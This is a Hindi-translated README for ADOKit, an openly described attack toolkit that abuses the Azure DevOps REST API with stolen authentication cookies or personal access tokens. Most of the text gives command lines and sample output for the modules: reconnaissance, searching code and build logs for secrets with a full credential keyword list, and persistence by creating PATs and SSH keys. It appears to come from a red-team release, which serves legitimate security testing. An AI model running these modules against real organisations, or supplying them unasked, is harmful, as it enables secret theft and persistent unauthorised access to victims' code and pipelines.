
Azure DevOps REST API का उपयोग करके चुराए गए कुकीज़ या PATs के साथ टोही, विशेषाधिकार वृद्धि और स्थिरता के लिए मॉड्यूलर अटैक टूलकिट।
Azure DevOps Services Attack Toolkit - ADOKit एक टूलकिट है जिसका उपयोग उपलब्ध REST API का लाभ उठाकर Azure DevOps Services पर हमला करने के लिए किया जा सकता है। यह उपकरण उपयोगकर्ता को एक आक्रमण मॉड्यूल निर्दिष्ट करने की अनुमति देता है, साथ ही संबंधित Azure DevOps Services इंस्टेंस के लिए मान्य क्रेडेंशियल्स (API कुंजी या चुराई गई प्रमाणीकरण कुकी) भी निर्दिष्ट करता है। समर्थित आक्रमण मॉड्यूल में टोही, विशेषाधिकार वृद्धि और स्थायित्व शामिल हैं। ADOKit को एक मॉड्यूलर दृष्टिकोण में बनाया गया था, ताकि सूचना सुरक्षा समुदाय द्वारा भविष्य में नए मॉड्यूल जोड़े जा सकें।
ADOKit द्वारा उपयोग की जाने वाली तकनीकों के पूर्ण विवरण X-Force Red श्वेतपत्र में हैं।
प्रस्तुति स्लाइड्स और डेमो इस रिपॉजिटरी में BHUSA Arsenal 2024 फ़ोल्डर में शामिल हैं।
इस परियोजना में नीचे दिए गए तृतीय-पक्ष पुस्तकालयों का उपयोग किया गया है।
| पुस्तकालय | URL | लाइसेंस |
|---|---|---|
| Fody | https://github.com/Fody/Fody | MIT लाइसेंस |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | MIT लाइसेंस |
Visual Studio को सेटअप करने के लिए नीचे दिए गए चरणों का पालन करें ताकि आप स्वयं प्रोजेक्ट को संकलित कर सकें। इसके लिए दो .NET पुस्तकालयों की आवश्यकता होती है जिन्हें NuGet पैकेज प्रबंधक से स्थापित किया जा सकता है।
https://api.nuget.org/v3/index.json के साथ एक पैकेज स्रोत जोड़ेंInstall-Package Costura.Fody -Version 3.3.3Install-Package Newtonsoft.Json"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"नीचे वे प्रमाणीकरण विकल्प दिए गए हैं जो आपके पास ADOKit के साथ Azure DevOps इंस्टेंस में प्रमाणित करते समय हैं।
.dev.azure.com डोमेन के लिए किसी उपयोगकर्ता की मशीन पर UserAuthentication कुकी होगी।
/credential:UserAuthentication=ABC123.dev.azure.com डोमेन के लिए किसी उपयोगकर्ता की मशीन पर AadAuthentication कुकी होगी।
/credential:eyJ0.../credential:apiToken"aud":"https://management.core.windows.net/" या Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
/credential:eyJ0..नीचे दी गई तालिका प्रत्येक मॉड्यूल के लिए आवश्यक अनुमतियाँ दिखाती है।
यह सुनिश्चित करने के लिए प्रमाणीकरण जाँच करें कि संगठन Azure DevOps का उपयोग कर रहा है और प्रदान किए गए क्रेडेंशियल मान्य हैं।
check मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। यह आउटपुट देगा कि प्रदान किया गया संगठन Azure DevOps का उपयोग कर रहा है या नहीं, और यदि हाँ, तो प्रदान किए गए क्रेडेंशियल को सत्यापित करने का प्रयास करेगा।
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### उपयोग मामला
> *वर्तमान उपयोगकर्ता और उपयोगकर्ता के समूह सदस्यताएँ प्राप्त करें*
#### वाक्यविन्यास
`whoami` मॉड्यूल, किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। यह वर्तमान उपयोगकर्ता और इसकी सभी समूह सदस्यताएँ आउटपुट करेगा।
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
दिए गए एक्सेस टोकन का उपयोग करके संगठनों को पुनः प्राप्त करें।
listorgs मॉड्यूल को आवश्यक प्रमाणीकरण जानकारी प्रदान करें। डिफ़ॉल्ट रूप से, यह कमांड केवल उन संगठनों को सूचीबद्ध करता है जो दिए गए एक्सेस टोकन के साथ सुलभ हैं।
/mode:aad का उपयोग करें, भले ही सीधी पहुंच हो या न हो।/endpoint:ENDPOINT_NAME का उपयोग करें।
aex.dev.azure.com से "X-VSS-DeploymentAffinity" कुकी का निरीक्षण करके पहचाना जा सकता है।ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### सूची रेपो
#### उपयोग का मामला
> *Azure DevOps उदाहरण में उपयोग किए जा रहे रेपॉजिटरी खोजें*
#### वाक्यविन्यास
`listrepo` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL। यह रेपॉजिटरी का नाम और URL आउटपुट करेगा।
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Azure DevOps इंस्टेंस में रिपॉजिटरी नाम से रिपॉजिटरी खोजें
searchrepo मॉड्यूल और अपने खोज मापदंड को /search: कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL भी दें। यह मेल खाने वाले रिपॉजिटरी का नाम और URL आउटपुट करेगा।
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
### परियोजनाओं की सूची
#### उपयोग मामला
> *Azure DevOps इंस्टेंस में उपयोग की जा रही परियोजनाओं का पता लगाएं*
#### वाक्यविन्यास
`listproject` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL। यह परियोजना का नाम, दृश्यता (सार्वजनिक या निजी) और URL आउटपुट करेगा।
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Azure DevOps इंस्टेंस में परियोजना नाम से परियोजनाएँ खोजें
searchproject मॉड्यूल और अपने खोज मापदंड को /search: कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ। यह मेल खाने वाली परियोजना का नाम, दृश्यता (सार्वजनिक या निजी) और URL आउटपुट करेगा।
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
### कोड खोजें
#### उपयोग केस
> *Azure DevOps इंस्टेंस में दिए गए कीवर्ड वाला कोड खोजें*
#### सिंटैक्स
`searchcode` मॉड्यूल और अपने खोज मापदंड को `/search:` कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ। यह मिलते कोड फ़ाइल का URL, साथ ही कोड में मेल खाने वाली पंक्ति आउटपुट करेगा।
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
Azure DevOps में फ़ाइल नाम में दिए गए कीवर्ड वाली रिपॉजिटरी में फ़ाइलें खोजें
searchfile मॉड्यूल और अपने खोज मापदंड को /search: कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL. यह मिलान फ़ाइल का URL उसके संबंधित रिपॉजिटरी में आउटपुट करेगा।
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
### Creds खोज
#### उपयोग मामला
> *Azure DevOps में पासवर्ड या API कुंजी जैसे रहस्यों वाले कोड की खोज करें*
#### वाक्य-विन्यास
`creds` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL भी। यह मिलान फ़ाइल का URL उसके संबंधित रिपॉजिटरी में और वह मिलान पंक्ति(याँ) आउटपुट करेगा जहाँ creds मौजूद हैं।
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
सभी पाइपलाइन रन (बिल्ड लॉग) के लॉग डाउनलोड करें। फिर आप जानकारी और/या रहस्यों के लिए ऑफ़लाइन खोज कर सकते हैं।
किसी दिए गए प्रोजेक्ट के लिए सभी बिल्ड लॉग डाउनलोड करने के लिए getbuildlogs मॉड्यूल को /project: के साथ प्रदान करें। यदि आप उन्हें सभी प्रोजेक्ट्स के लिए डाउनलोड करना चाहते हैं, तो /project: तर्क में all निर्दिष्ट करें। इससे लॉग डाउनलोड करने के लिए आपके वर्तमान कार्यशील निर्देशिका में ADOKit-[random 8 chars] नामक एक फ़ोल्डर बनाया जाएगा।
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
### बिल्ड लॉग्स सूचीबद्ध करें
#### उपयोग मामला
> *किसी दिए गए प्रोजेक्ट या सभी प्रोजेक्ट के लिए उपलब्ध बिल्ड लॉग्स को सूचीबद्ध करें।*
#### सिंटैक्स
किसी दिए गए प्रोजेक्ट के लिए सभी बिल्ड लॉग्स को सूचीबद्ध करने के लिए `listbuildlogs` मॉड्यूल को `/project:` के साथ प्रदान करें। यदि आप उन्हें सभी प्रोजेक्ट के लिए सूचीबद्ध करना चाहते हैं, तो `/project:` आर्गुमेंट में `all` निर्दिष्ट करें।
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
किसी Azure DevOps इंस्टैंस में दिए गए कीवर्ड वाले बिल्ड लॉग खोजें
searchbuildlogs मॉड्यूल और अपने खोज मानदंड को /search: कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही किसी दिए गए प्रोजेक्ट के सभी बिल्ड लॉग खोजने के लिए /project: आर्गुमेंट का उपयोग करें। यदि आप सभी प्रोजेक्ट्स के बिल्ड लॉग खोजना चाहते हैं, तो /project: आर्गुमेंट में all निर्दिष्ट करें। यह मेल खाने वाले बिल्ड आउटपुट लॉग फ़ाइल के URL के साथ-साथ बिल्ड लॉग की उस पंक्ति को आउटपुट करेगा जो मेल खाती है।
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
### PAT बनाएं
#### उपयोग केस
> *एक उपयोगकर्ता के लिए एक व्यक्तिगत एक्सेस टोकन (PAT) बनाएं जिसका उपयोग Azure DevOps इंस्टेंस में स्थायित्व के लिए किया जा सकता है।*
#### सिंटैक्स
`createpat` मॉड्यूल, किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। यह बनाए गए PAT के PAT ID, नाम, दायरा, वैधता तिथि और टोकन सामग्री को आउटपुट करेगा। बनाए गए PAT का नाम `ADOKit-` होगा जिसके बाद 8 वर्णों की एक यादृच्छिक स्ट्रिंग होगी। PAT की वैधता तिथि निर्माण की तिथि से 1 वर्ष होगी, क्योंकि Azure DevOps द्वारा अनुमत अधिकतम यही है।
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
Azure DevOps इंस्टेंस में किसी दिए गए उपयोगकर्ता के लिए सभी व्यक्तिगत एक्सेस टोकन (PAT) की सूची बनाएं।
listpat मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL दें। यह उपयोगकर्ता के सभी सक्रिय PAT के लिए PAT ID, नाम, स्कोप और वैधता तिथि आउटपुट करेगा।
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
### PAT हटाएं
#### उपयोग का मामला
> *किसी Azure DevOps इंस्टेंस में दिए गए उपयोगकर्ता के लिए PAT हटाएं।*
#### वाक्यविन्यास
`removepat` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इसके अतिरिक्त, `/id:` तर्क में PAT का ID प्रदान करें। यह आउटपुट देगा कि PAT हटाया गया या नहीं, और फिर हटाने के बाद उपयोगकर्ता के वर्तमान सक्रिय PAT की सूची दिखाएगा।
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
किसी उपयोगकर्ता के लिए SSH कुंजी बनाएं जिसका उपयोग Azure DevOps इंस्टेंस में स्थायी पहुंच के लिए किया जा सके।
createsshkey मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इसके अलावा, अपनी सार्वजनिक SSH कुंजी /sshkey: आर्गुमेंट में प्रदान करें। इससे SSH कुंजी आईडी, नाम, दायरा, मान्यता तिथि, और बनाई गई SSH कुंजी के सार्वजनिक SSH कुंजी के अंतिम 20 अक्षर आउटपुट होंगे। बनाई गई SSH कुंजी का नाम ADOKit- होगा, जिसके बाद 8 अक्षरों का एक यादृच्छिक स्ट्रिंग होगा। SSH कुंजी की मान्यता तिथि निर्माण तिथि से 1 वर्ष होगी, क्योंकि Azure DevOps द्वारा अधिकतम इतनी ही अनुमति है।
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
### SSH कुंजियाँ सूचीबद्ध करें
#### उपयोग का मामला
> *किसी Azure DevOps इंस्टेंस में किसी दिए गए उपयोगकर्ता के लिए सभी सार्वजनिक SSH कुंजियाँ सूचीबद्ध करें।*
#### वाक्यविन्यास
`listsshkey` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। यह उपयोगकर्ता के लिए सभी सक्रिय SSH कुंजियों का SSH कुंजी ID, नाम, दायरा, और मान्यता तिथि तक आउटपुट करेगा। इसके अतिरिक्त, यह सार्वजनिक SSH कुंजी के अंतिम 20 वर्ण भी प्रिंट करेगा।
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### उदाहरण आउटपुट```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
किसी Azure DevOps इंस्टेंस में किसी विशिष्ट उपयोगकर्ता के लिए SSH कुंजी हटाएं।
removesshkey मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इसके अतिरिक्त, /id: तर्क में SSH कुंजी का ID प्रदान करें। यह आउटपुट देगा कि SSH कुंजी हटाई गई या नहीं, और फिर हटाने के बाद उपयोगकर्ता के वर्तमान सक्रिय SSH कुंजियों को सूचीबद्ध करेगा।
